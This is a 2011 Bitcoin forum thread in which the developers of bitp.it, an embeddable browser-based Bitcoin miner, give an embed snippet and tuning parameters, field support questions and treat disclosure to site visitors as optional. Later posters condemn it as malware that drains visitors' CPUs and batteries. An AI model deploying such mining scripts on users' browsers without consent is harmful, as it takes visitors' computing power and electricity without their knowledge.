After seeing your post, I redid my tests and got the same results.

Zero POST's over 1 hour and 10 minutes.

For reference, I'm using Chrome 12 (12.0.742.53) on x86_64 Linux.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 22, 2011, 05:44:23 AM
After seeing your post, I redid my tests and got the same results.

Zero POST's over 1 hour and 10 minutes.

For reference, I'm using Chrome 12 (12.0.742.53) on x86_64 Linux.

We've had many share submissions, so this *is* working.

However, don't take our word for it, here is the source code: https://github.com/jwhitehorn/jsMiner

EDIT:
Specifically, checkout out https://github.com/jwhitehorn/jsMiner/blob/master/engine.js lines 61-65


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 22, 2011, 05:50:25 AM
After seeing your post, I redid my tests and got the same results.

Zero POST's over 1 hour and 10 minutes.

For reference, I'm using Chrome 12 (12.0.742.53) on x86_64 Linux.

Chrome's V8 is fast, as far as javascript goes. But compared to running on metal, that's unfortunately still pretty slow. We have no illusions that javascript miners could compete with CPU/GPU miners. Even at the best speeds (I get 9-10 kphs on safari/chrome) it takes several days on average for a single javascript miner to find a share. Which is why we are not targeting individuals; we're targeting site operators. Ideally, sites with lots and lots of visitors :) It's a numbers game; large numbers of low-powered miners versus a small-ish community of hardcore miners... that's part of the experiment! We DON'T see this as a replacement for GPU mining (well... ask me again once WebCL is better supported :) )

We've open-sourced the client code at https://github.com/jwhitehorn/jsMiner. If you examine engine.js, you'll see that we do in fact POST the result. when a share is found. In a week we'll be paying out the first round. We have been receiving shares, and the miner does work.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Orbit45244 on May 22, 2011, 06:26:54 AM
I will stop bothering you guys about this after this post, but prior to my last post I did check out the code. I do believe that it is coded to do a POST, but whether that gets done is up for debate. I think it may be an incompatibility against Chrome 12.

Consider this a bug report, not slander against this great project.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 22, 2011, 06:35:35 AM
I will stop bothering you guys about this after this post, but prior to my last post I did check out the code. I do believe that it is coded to do a POST, but whether that gets done is up for debate. I think it may be an incompatibility against Chrome 12.

Consider this a bug report, not slander against this great project.

No worries ;D We will look into whether there is an issue with Chrome. Correct cross-browser support is pretty tricky to get right sometimes. Thanks for your interest... it's really awesome that people are into this project.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: tiberiandusk on May 22, 2011, 07:40:39 AM
I still haven't gotten an email. How can I tell where my shares, if I have any yet, are?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 22, 2011, 07:52:05 AM
I still haven't gotten an email. How can I tell where my shares, if I have any yet, are?

Please PM me your email (or your script's clientId) and I will re-send the registration email. We haven't yet completed the share statistics part of the user console yet, but this is coming soon. Our first round of payouts will be in one week.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Bitcoinfrance on May 22, 2011, 10:24:02 AM
Claoking would be a solution :]

But yes, that will be a real true revolution !




Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 22, 2011, 06:55:32 PM
We've received a few reports that login isn't working for some people.

Let us know if you are experiencing anything unusual, and we will resend your registration email so you can restore your account access.

This appears to be related to a bug on our end, where during registration, certain passwords (more specifically certain character sets in passwords) were not properly handled.

We believe this issue is resolved, but do let us know if you continue to experience issues.

Thanks!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Quantumplation on May 22, 2011, 07:23:37 PM
I've not been able to log in for a while, thought it was just a lack of implemented control console.
qrebound@gmail.com


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: scooter on May 22, 2011, 07:53:01 PM
So I have the code in my website header.
How can I be sure it is running?
When I load the page I don't see a noticeable increase in cpu usage.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 22, 2011, 07:57:03 PM
So I have the code in my website header.
How can I be sure it is running?
When I load the page I don't see a noticeable increase in cpu usage.


You should definitely notice the fans start spinning :)

Can you paste the code, or alternatively direct me to the website?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: presha on May 22, 2011, 08:24:10 PM
I see one BIG flaw on this system... google its gona kill you.

They gona mark the web page as a "malware".

I see another one.. let's say this idea kills the current ad system. everyone who owns a website switches to the java mining. few years (?) passes and the last coin gets mined. what happens now? we're going back to animated flash po-ups?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 22, 2011, 08:29:59 PM
I've not been able to log in for a while, thought it was just a lack of implemented control console.
qrebound@gmail.com

People should be able to log in. We will look into your account, and get back with you. We've been resending registration emails, in some cases that seems to resolve the issue.

Also...

Do you have cookies enabled on your web browser? There seems to be an issues where login will fail if cookies are not enabled.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: scooter on May 22, 2011, 09:34:16 PM
So I have the code in my website header.
How can I be sure it is running?
When I load the page I don't see a noticeable increase in cpu usage.


You should definitely notice the fans start spinning :)

Can you paste the code, or alternatively direct me to the website?

I figured it out. I was using wordpress with suffusion theme. In the theme control panel you can drop in custom header code, but for some reason it was putting it in the middle of some other javascript includes.

I manually edited the header file and I can certainly see it is running now.




Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: scooter on May 22, 2011, 09:45:02 PM
I have quite a few websites.
Some of them make me money, some of them are just for fun, some I would really like them to make money because they have traffic, but ads don't always perform well on every type of site.

So I was quite curious to put this on my sites and see what it generates. But here is the problem. It is clear that with the increasing difficulty, I will be unlikely to see much of anything.

But, the *idea* of what you have created here is very promising.
What if there were companies out there that were willing to pay to harness all these users visiting websites with your code on it? You could do an entirely different distributed computing platform that does not involve mining for BTC. But you could still support the Bitcoin project by paying out in Bitcoins.




Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 22, 2011, 09:50:24 PM
But, the *idea* of what you have created here is very promising.
What if there were companies out there that were willing to pay to harness all these users visiting websites with your code on it? You could do an entirely different distributed computing platform that does not involve mining for BTC. But you could still support the Bitcoin project by paying out in Bitcoins.

We've definitely discussed it... and as presha pointed out, the BTC you can make by mining in-browser (or anywhere) won't last forever, with the virtual guarantee of diminishing returns. The idea of a general-purpose browser-based distributed computation framework is extremely enticing to me ;) If nothing else, this project has taught us a little about how that would work and what it might look like.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: scooter on May 23, 2011, 03:44:34 AM
We've definitely discussed it... and as presha pointed out, the BTC you can make by mining in-browser (or anywhere) won't last forever, with the virtual guarantee of diminishing returns. The idea of a general-purpose browser-based distributed computation framework is extremely enticing to me ;) If nothing else, this project has taught us a little about how that would work and what it might look like.

Right on. Should you ever decide to move forward on a project like that, I would be more than happy to contribute in some way.



Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Basiley on May 23, 2011, 03:46:27 AM
when browsers get OpenCL support, along with WebGL nowdays, or as part of it, things stabilize.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: interfect on May 23, 2011, 08:23:00 AM
Would it be possible to hack something together using WebGL right now? Like they used to do before real GPU computing solutions were available? I believe you can read pixel data back out of a <canvas> tag.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Basiley on May 23, 2011, 09:44:56 AM
thats can't be nearly as efficient as OpenCL processing, IMO, but yes. thats how, actually 1st GPGPU appz work back few years ago.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Sergey (imcex.com) on May 23, 2011, 04:29:15 PM
Requesting mining stats in control panel  ;D Thank you  ;)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: winnetou on May 23, 2011, 06:22:35 PM
Requesting mining stats in control panel  ;D Thank you  ;)
+1

btw: great project =)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 23, 2011, 06:50:56 PM
Requesting mining stats in control panel  ;D Thank you  ;)
+1

btw: great project =)

Thanks guys :) We appreciate the feedback.

We'll be rolling out some basic stats into the console page this evening, namely: average hashrate (over the last 100 getwork requests), and total shares earned in the current round (we are in round 1, which ends Saturday).

We will work on more after that. Also, we will soon add support for a configurable siteId parameter which will let you track your sites separately while collecting shares on one account.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: gigitrix on May 23, 2011, 09:04:55 PM
I love your failure (http://bitp.it/fail) page. That is all :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 24, 2011, 03:41:12 AM
We just deployed the updated user console. This version should introduce some basic stats. We show you your average hash rate over the past 100 getwork requests. We also show you your current shares this round.

We have a lot of things we want to add, so believe us, this is just a first step. So do let us know what else you'd like to see in the console.


I love your failure (http://bitp.it/fail) page. That is all :D

Thanks we do too  :D :D :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: brombomb on May 24, 2011, 05:20:56 AM
sent you a pm.  Been running since it more or less opened and no hashes in my console... :(


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: mosimo on May 24, 2011, 08:41:34 AM
Loving the idea of this, I have it running on one of my sites. Right now though I don't know what I'm actually getting from this if anything. A lot of my users will leave the site open all day and just leave it there. However in the console it says my current shares is 0 and current average hashrate is 647. Is this hashrate the overall of my clients, overall of the service and over how long?

Things I'd like in the console:

  • Round start/end time
  • Number of my clients connected within the last x mins (10 or 30 minutes maybe)
  • Average hashrate over the last 30 mins/1hr (Of my clients)
  • List of average hashrate over the last 7 days. Graph might be best for this. (Of my clients)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: scooter on May 24, 2011, 09:45:31 AM
Current average hash rate: 1093.0473480726896
Shares this round: 0

Poo.. I hoped to have more shares than 0


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Sergey (imcex.com) on May 24, 2011, 09:51:21 AM
Also, we will soon add support for a configurable siteId parameter which will let you track your sites separately while collecting shares on one account.

1. Would be great if bitp could collect refering domain names automatically and group stats according to domains. It would be useful for people, running bitp.it running at multiple sites.

Concerning average rate: average rate is per 100 request as far as I remeber. Could you please recalculate it into avg per second? (hour, day, etc...)

Also, I vote for all the requests from mosimo :)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: newmont on May 24, 2011, 03:07:13 PM
Great work!

I am considering rolling these tags out across web properties that generate 200M impressions a month. What is your capacity? Can you handle this request volume?

Feel free to PM me to discuss further.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 24, 2011, 03:19:37 PM
1. Would be great if bitp could collect refering domain names automatically and group stats according to domains. It would be useful for people, running bitp.it running at multiple sites.

Concerning average rate: average rate is per 100 request as far as I remeber. Could you please recalculate it into avg per second? (hour, day, etc...)

Also, I vote for all the requests from mosimo :)

Thanks for the feedback, guys... we will try to get these additional stats into the next update:

  • Group stats by domain
  • Hashrate over several time periods
  • Graph of past hashrates
  • Show total getwork requests along with hashrate
  • Round start/end time
  • Recently connected clients
  • List of when each share was found

Keep in mind we're not a pool ourselves, so our "rounds" always last one week. The first one will end on 20110528.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: BitcoinsWallet on May 24, 2011, 03:37:21 PM
Thanks for the feedback, guys... we will try to get these additional stats into the next update:

  • Group stats by domain
  • Hashrate over several time periods
  • Graph of past hashrates
  • Show total getwork requests along with hashrate
  • Round start/end time
  • Recently connected clients
  • List of when each share was found

Keep in mind we're not a pool ourselves, so our "rounds" always last one week. The first one will end on 20110528.

Great for that!  :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 25, 2011, 12:00:03 AM
Just a quick note for those who have not seen any shares show up in their console.

While we are very proud of our Javascript bitcoin miner, please remember that the 6 to 10 kilohash/sec that one receives with our miner is nothing compared to a modern CPU and especially a GPU.

The real magic happens in numbers. Take something as low as 10 kilohash/sec and multiply it by hundreds of visitors, and then the work becomes noticeable.

As was stated by lowentropy, we hope to expose your total hash rate (not just an average) in a coming update. Hopefully this total hash rate will give everybody a better idea about how well their script deployment is working for them.

In the mean time, just remember, bitp.it has the best hash rate to wattage ratio.... ever  :D :D :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 25, 2011, 12:02:59 AM
Great work!

I am considering rolling these tags out across web properties that generate 200M impressions a month. What is your capacity? Can you handle this request volume?

Feel free to PM me to discuss further.


We'd love to think so, but the reality is that we are still in beta. While I would love to tell you "sure, go ahead", I think a more realistic answer is to roll it out slowly (over some of the smaller properties first) and see how it works for you. And, if all goes well, then slowly work your way to some of the larger properties. Heck, maybe even inject the script in random... some visitors get it, some don't... and let's see how the servers take it.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: newmont on May 25, 2011, 05:36:57 PM
Ok - I have rolled it out across a few sites but see very low average hashrates (1k hash/sec) in the bitp.it hash rate counter? Any idea how this could be? There are probably 40 concurrent users at any given time - so I'd expect roughly 30X this rate.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 25, 2011, 05:45:15 PM
Ok - I have rolled it out across a few sites but see very low average hashrates (1k hash/sec) in the bitp.it hash rate counter? Any idea how this could be? There are probably 40 concurrent users at any given time - so I'd expect roughly 30X this rate.

There is some confusion on this number - it is not your total average hash rate, but the average hashrate of one of your clients. So if you have 40 concurrent users, your total hashrate is indeed 40x this number.

In the next couple of days we will roll out more complete stats that will show your aggregate average hashrate over multiple time periods. Sorry for the confusion.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: mamad on May 25, 2011, 06:12:20 PM
First things first, I really love the idea. But I want to know if anyone is having any success with this. I just started running this on one site that has about 200 online users. What can I expect in terms of returns? it feels like the hash rates are so small that it wouldn't make a difference even with thousands of users online.

Thanks,
Mamad


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Turix on May 25, 2011, 06:14:28 PM
First things first, I really love the idea. But I want to know if anyone is having any success with this. I just started running this on one site that has about 200 online users. What can I expect in terms of returns? it feels like the hash rates are so small that it wouldn't make a difference even with thousands of users online.

Thanks,
Mamad

Assuming that they all leave their browser open for a continuous period at the same time; you could optimistically look at 1Mhash/s with 200 users (unless my math is off). And that is with an average of 5Khash/s per user, if you have a high portion of IE users or users with old browsers that will drop.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: SgtSpike on May 25, 2011, 06:15:09 PM
First things first, I really love the idea. But I want to know if anyone is having any success with this. I just started running this on one site that has about 200 online users. What can I expect in terms of returns? it feels like the hash rates are so small that it wouldn't make a difference even with thousands of users online.

Thanks,
Mamad
It won't.

1000 users at 1khps is 1mhps.

It would take 270,000 online users, 24/7, to generate the same mhps that a 5850 does, stock.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: mamad on May 25, 2011, 07:24:18 PM
Not to shoot down the idea, but after running it for about an hour on a busy site (250+ users online with average 5 minutes on site) I received 0 shares. So taking it down.

Still like the idea of having it run in browser, maybe ActivX would be able to use more CPU/ even GPU?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: gigitrix on May 25, 2011, 07:47:52 PM
Feature request: Can't you guys set this "subpool" to have a difficulty of less than 1 (0x00000000FFFF0000000000000000000000000000000000000000000000000000)?

If you set it at, say (0x0000FFFF00000000000000000000000000000000000000000000000000000000) then at least people would have a more even distribution. Hopefully this wouldn't overload the servers too much (tweak the values of course)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: BitcoinsWallet on May 25, 2011, 10:11:49 PM
1bitc0inplz, disabled for now.

Some users experiencing excessive slowness of their computers.

If you implement one option for use some percentage (I wish use 50% of the CPU for example) and run it in more low priority side.... will be better  ;D

And think that some users open a lot of tabs from the same website, be careful with that...

Great work in anyway!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Turix on May 25, 2011, 10:50:25 PM
1bitc0inplz, disabled for now.

Some users experiencing excessive slowness of their computers.

If you implement one option for use some percentage (I wish use 50% of the CPU for example) and run it in more low priority side.... will be better  ;D

And think that some users open a lot of tabs from the same website, be careful with that...

Great work in anyway!

I'm currently using forceUIThreads and a long delay time to mitigate this somewhat (a delay of 100ms seems to be ~ 10% of 1 core on my E5200). But the hash rates are proportionally bad, my average hash rate is like 750hash/s right now.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: cablepair on May 26, 2011, 12:28:51 AM
Current average hash rate: 5188.021721523151

Shares this round: 2


so, how many mega or kilo hashes exactly is  5188.021721523151

what is it measured in?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 26, 2011, 12:29:27 AM
Feature request: Can't you guys set this "subpool" to have a difficulty of less than 1 (0x00000000FFFF0000000000000000000000000000000000000000000000000000)?

If you set it at, say (0x0000FFFF00000000000000000000000000000000000000000000000000000000) then at least people would have a more even distribution. Hopefully this wouldn't overload the servers too much (tweak the values of course)

I really like this idea! What does everyone else think?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on May 26, 2011, 12:31:23 AM
so, how many mega or kilo hashes exactly is  5188.021721523151

what is it measured in?

This number is confusing and we'll be replacing it soon (read: hopefully before this weekend... we all have day jobs :P) with better stats. Currently it's indicating the average speed of a given visitor to your site. So it looks like a good portion of your visitors are using fast browsers (safari, chrome, ff4, etc.). It's measured in just hashes per second.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: PIO on May 27, 2011, 11:56:29 AM
Just a quick update...

We changed the default script that is generate for you to have the forceUIThread parameter set to true. This will force the script to be very, very, nice. You can still overwrite that setting by explicitly setting it to false, doing so will increase your hash rate at the risk of higher CPU usage for your website visitors.

As promised, here is a complete list of parameters that can be passed into the engine:
  • clientId
  • delay
  • forceUIThread
  • autoStart
  • workerTimeout

clientId - this is your unique identifier. Do not change, unless of course you want your shares going to someone else  :D
delay - this is the delay, in milliseconds that the UI thread waits between every 100 hashes. This setting does not control web workers. Lowering this value too much could result in browsers displaying the "we've detecting that this script has locked up" warnings. The default is 30 ms.
forceUIThread - some browsers don't support web workers (IE), in those cases this setting is meaningless. For browser that support web workers, this forces them *not* to use them, and instead calculate hashes in the UI thread at a much slower, and less CPU intensive, rate.
autoStart - don't use this yet. Right now the jsMiner auto starts. You could set it to false. However, since the jsMiner is running in an iframe you would have no way of starting it... we will work on getting this better exposed.
workerTimeout - this effects all browsers. This is the length of time (in seconds) that a get work request is good for. The default is 30 seconds. Increasing this value decreases network request but increases the likelihood of stale shares.

And example of what you're modified script tag would look like with some of these parameters is:

Code:
<script type="text/javascript">
  bitpit({clientId: "5", forceUIThread: true, delay: 40, workerTimeout: 45});
</script>




Why dont you show the code on the website when we login? :)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: PIO on May 27, 2011, 11:59:18 AM
Requesting mining stats in control panel  ;D Thank you  ;)

Yeah, I dont even know if it's working or not. :(


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 27, 2011, 11:38:51 PM

Why dont you show the code on the website when we login? :)

That is a good suggestion. I'll add that to our list.

Requesting mining stats in control panel  ;D Thank you  ;)

Yeah, I dont even know if it's working or not. :(

We are going to roll out even more stats this evening. But, do rest assured, if you used the JS we provided you it's working. But, once we roll out these new stats you'll be able to see for yourself.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Sergey (imcex.com) on May 28, 2011, 06:34:58 AM
We are going to roll out even more stats this evening.

Good job, guys! Thank you! Now, proceeding to level 2 :)

Feature requests:
1. Some techsupport email or jabber to discuss personal issues in case of need

2. Stats columns:
- khashes per Last Day
- khashes this round
- script requests per Hour
- effectiveness = khashes this round / script requests this round (this will show how effective an average visitor for this site is)

3. Sorting by domain name/selected column. I guess client javascript sort will be a good solution.

4. Totals row - totals for each column where applicable, duplicate the row before and after the table.

Thank you in advance.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 28, 2011, 03:52:00 PM
Good job, guys! Thank you! Now, proceeding to level 2 :)

Feature requests:
1. Some techsupport email or jabber to discuss personal issues in case of need

We already have support@bitp.it, plus you can reach us here, and even on Twitter @bitp_it

We do need to make that more obvious, perhaps a contact us section of the site...

2. Stats columns:
- khashes per Last Day
- khashes this round
- script requests per Hour
- effectiveness = khashes this round / script requests this round (this will show how effective an average visitor for this site is)

3. Sorting by domain name/selected column. I guess client javascript sort will be a good solution.

4. Totals row - totals for each column where applicable, duplicate the row before and after the table.

Thank you in advance.

Those are all great suggestions. We are no where near done yet. We have some pretty big stuff in the pipeline.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Sergey (imcex.com) on May 28, 2011, 06:03:12 PM
We have some pretty big stuff in the pipeline.

It would be great, if you could publish some kind of roadmap. I understand that having little resources you got to make decisions between optimizing backend stuff and improving the frontend, but the priorities are not very obvious to other users (beta-testers).

What I suggested in the last post - is the smallest bit of information that will help me decide whether it is worth using bitp.it for my own sites and where the bottlenecks are.

Currently, I can only guess how effective this whole thing is :)

So, please, roadmap of the upcoming features would be useful to keep patience :)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 28, 2011, 07:02:03 PM
So, please, roadmap of the upcoming features would be useful to keep patience :)

You are right, time is a luxury, and we (like a lot of us on this forum) are doing this in our free time. We do not want to get into the habit of over-promising, and we also don't like the idea of over-thinking. It is our believe that good software is evolved, not designed. And while we do have a long term plan, the points between A and Z are somewhat undetermined. In fact, it is the feedback from people like yourself and everyone else that has replied to this thread that will help us pick the route between A and Z.

But, I completely understand the need for a roadmap, so that people can make decisions.

Let me put some thought into it, and put some things down on paper.... I will see what I can put up for a short-term road map.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 29, 2011, 02:16:31 AM
Today we finished up our first round of payouts. Everybody who earned 0.01 BTC or more has received their payment, with one notable exception. There was one account that earned a payout, but didn't have a wallet ID set... we are going to email you shortly and see if we can get your payment sent to you.

Additionally, everyone should now be able to see their pending payout in their console.

We have really been blown away by the level of response that bitp.it has generated. Never would we have imaged that the concept of mining bitcoins from your website would have been as popular as this has turned out to be.

However, there is still a lot of room for us to improve. We realize that even our top performers have received payouts that are lackluster. It would appear that too many people are still using slower browsers, computers, and just not staying on people's websites as long as we had hoped. We do believe that WebCL opens up new possibilities to web mining, but that technology is much too young. Hopefully, with time, it will gain browser acceptance, but until then it's just a 3rd party plugin for one browser that doesn't even work on 64-bit operating systems.

We are *not* discontinuing support of our Javascript miner. Actually, quite the opposite. We have a lot to do to grow this project into something bigger. Over the couple of weeks we plan on rolling out support for:
   - graph of past 10 days' hash rates
   - UI improvements
   - show total across domains
   - show average hash rate per domain

Additionally, we have something REALLY big planned for one week from today. We do not really want to elaborate what it is, but it will be a game changer for bitp.it.

Thank you all again for your support. We really appreciate you helping us fine tune this product.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: AngelusWebDesign on May 29, 2011, 05:46:38 AM
Maybe the websites that host this mining code could AT LEAST encourage its visitors to upgrade to a decent browser. Maybe a small graphic at the bottom of the page, linking to Chrome and/or Firefox?  Or maybe throw in Safari and Opera as well.

Such buttons would only appear if the user is browsing with some version of IE.  ;D

It's true that Chrome is far, far faster than other browsers, notably IE and Firefox. I'm talking about general browsing performance, as well as Javascript performance. It's not just miners that want fast Javascript; doesn't everyone?

About the only "downsides" with Chrome are for web developers -- but how many of THEM are out there, really, as a percentage of users?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: AngelusWebDesign on May 30, 2011, 11:39:40 PM
Here's what one of my users said (I had it in "forceUIThread: false" mode at the time)

I have a new computer and when I bring cathinfo up, it is very choppy and slow. Keystrokes lag and hesitate when typing. This does not happen on any other website. Is there something I can do about this?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on May 31, 2011, 01:12:47 AM
Here's what one of my users said (I had it in "forceUIThread: false" mode at the time)

I have a new computer and when I bring cathinfo up, it is very choppy and slow. Keystrokes lag and hesitate when typing. This does not happen on any other website. Is there something I can do about this?

Running the jsMiner in the UI thread does pose a risk of browser slow downs... however, in my experiences the defaults do not seem to cause any noticeable performance degration on my 2007 year Mac mini. I would be curious to know which browser this user is using, IE and Firefox are severely lacking in the Javascript department.

Also, does your website have (perhaps) some onkeypress event handlers for the particular text boxes this user was filling out? When running in the UI thread our Javascript miner and your website Javascript will be fighting for CPU time.

All of these things play a factory, but in either case one thing you could try and do to make the script even friendlier is to adjust "delay". By default the default between every block of 100 hashes is 30ms. You could try setting delay to a value larger than 30 and see if that improves the situation.

Do let me know if that helps any, and also if you can find out more info about this particular case do let me know as well.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Nick on June 01, 2011, 01:13:56 AM
Excuse me for being a buzzkill, but this is pure Bullshit.
I really hate the idea of websites forcing me to mine for them without even noticing me. Also, due to the inefficiency of javascript, the hash-rate is ridiculously low, so this is just a criminal waste of electricity.
If you want to monetize your website, use ads or ask for donations, but don't contribute to the already big ecological footprint of bitcoin.
I will block the api.bitp.it-domain now and I urge everyone to do the same!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on June 01, 2011, 01:27:06 AM
Excuse me for being a buzzkill, but this is pure Bullshit.
I really hate the idea of websites forcing me to mine for them without even noticing me. Also, due to the inefficiency of javascript, the hash-rate is ridiculously low, so this is just a criminal waste of electricity.
If you want to monetize your website, use ads or ask for donations, but don't contribute to the already big ecological footprint of bitcoin.
I will block the bitp.it-domain now and I urge everyone to do the same!

If you block our domain, you're going to miss out on all our fun we have planed for you this weekend  :'(

And, the website's are free to notify the users... in fact, I do think it's a wise idea to fully disclose this type of stuff to your visitors.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Nythain on June 01, 2011, 05:07:35 AM
Maybe the websites that host this mining code could AT LEAST notify their users that they will be cpu mining for the website.
Fixed your post for you.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: TheBunk on June 01, 2011, 05:55:17 AM
I have to agree with Nick here. This idea is pure bullshit. Not only do you waste the energy of YOUR users for YOUR benefit without their consent. You are also draining the batteries of notebooks and smartphones, potentially leading to a shorter battery life. Are you willing to pay for that? And I don't want an Internet where every website has 100% cpu usage and causes my cpu cooler to speed up. We've already got flash for that.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Natanji on June 01, 2011, 07:44:33 AM
I agree that this is complete bullshit and a very, very bad idea. This script is now major news on popular German blogger Fefe's page. It is effectively destroying Bitcoin's reputation. Take it down!

Bitcoin is based on the idea that mining is done by users that WANT to mine. *Forcing* other users to mine for you is absolutely awful. Also note that popular browsers like Google Chrome don't even have a JS blocker and once this script is embedded into the other website code, nobody will be able to prevent the miner from running when they want to just normally use the website.
I already see mobile phone companies getting problems because you wasted the user's battery life!

Did anyone figure out the IP adress of the pools used? The only idea I have for preventing this is to prevent the JS miner from connecting with the pool it's mining in. We need a list of pools so that we can block them via an entry in our hosts. This is the only way to stop this effectively, I suppose.

1bitc0inplz, you just made yourself the enemy of the Bitcoin movement.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Nythain on June 01, 2011, 07:47:49 AM
1bitc0inplz, you just made yourself the enemy of the Bitcoin movement.
Champion of the bitcoin movement is more like it. Trust me. Speaking out against the development of java cpu and webcl web miners will get met with much more resistance and lrn2noscript n00b than it will support.
Everyone is in it to make money, and there are no rules or ethics to making money.
 :-[ :-[ :-[


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Natanji on June 01, 2011, 07:49:23 AM
I'm afraid of that too, yes.

Still, things like these will effectively prevent Bitcoin from gaining real market penetration. The people using these JS miners right now are as a matter of fact going against the interests of their website users for this - they will feel that it's not worth the hastle, sooner or later. I very much hope that they will LOSE users this way. We should make a pillory thread so that we all know which websites to stay away from. Maybe even Google will mark the sites as "Malware"? I really do hope so! And they have very good reason to do that. After all it's in their interest to prevent their Android users from visiting those websites...

Besides that, I hope that if you compare the gains (a few 0.01 BTC every few days) vs. the losses (in users visiting your website), you will notice that this system has no real benefit. JS is clearly not made for Bitcoin mining.

But who am I talking to... too many people here only want to trade Bitcoin for $$$ anyways! Too many people that aren't the least bit interested in Bitcoin's reputation. I think we shouldn't give these people a forum here to speak out about their wicked plans, anyways.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: mennoman on June 01, 2011, 08:12:45 AM
Malware (http://en.wikipedia.org/wiki/Malware), short for malicious software, consists of programming (code, scripts, active content, and other software) designed to disrupt or deny operation, gather information that leads to loss of privacy or exploitation, gain unauthorized access to system resources, and other abusive behavior.

Congratulations.
Don't inflate my electricity bill only for your gain, you people. Seriously.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: fetokun on June 01, 2011, 08:23:05 AM
I'm afraid of that too, yes.

Still, things like these will effectively prevent Bitcoin from gaining real market penetration. The people using these JS miners right now are as a matter of fact going against the interests of their website users for this - they will feel that it's not worth the hastle, sooner or later. I very much hope that they will LOSE users this way. We should make a pillory thread so that we all know which websites to stay away from. Maybe even Google will mark the sites as "Malware"? I really do hope so! And they have very good reason to do that. After all it's in their interest to prevent their Android users from visiting those websites...

Besides that, I hope that if you compare the gains (a few 0.01 BTC every few days) vs. the losses (in users visiting your website), you will notice that this system has no real benefit. JS is clearly not made for Bitcoin mining.

But who am I talking to... too many people here only want to trade Bitcoin for $$$ anyways! Too many people that aren't the least bit interested in Bitcoin's reputation. I think we shouldn't give these people a forum here to speak out about their wicked plans, anyways.

Dude, seriously? The guy developed a brand new miner and now he is a greedy evil motherfucker who steals old laydies purses?

I think this js miner it's an awesome idea and there are lots of good ways to use it.

Instead of a "donate" button you could just have a "donate cpu time" in your website where people could click to willingly start the mining.

Are you proposing we should be against the technology because it can be used in unethical ways?! Seriously? On a BITCOIN forum??!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Natanji on June 01, 2011, 08:26:09 AM
Don't get me wrong. I'm not against it if it is used in a proper way. But with all the programmer dudes out here: you should know best that you don't want someone else's software to force something on your computer. That is, yes, Malware.

I think it's fine if you allow your users a choice. So far, I have yet to see a website that does this. That's why I'm criticizing what is happening here.

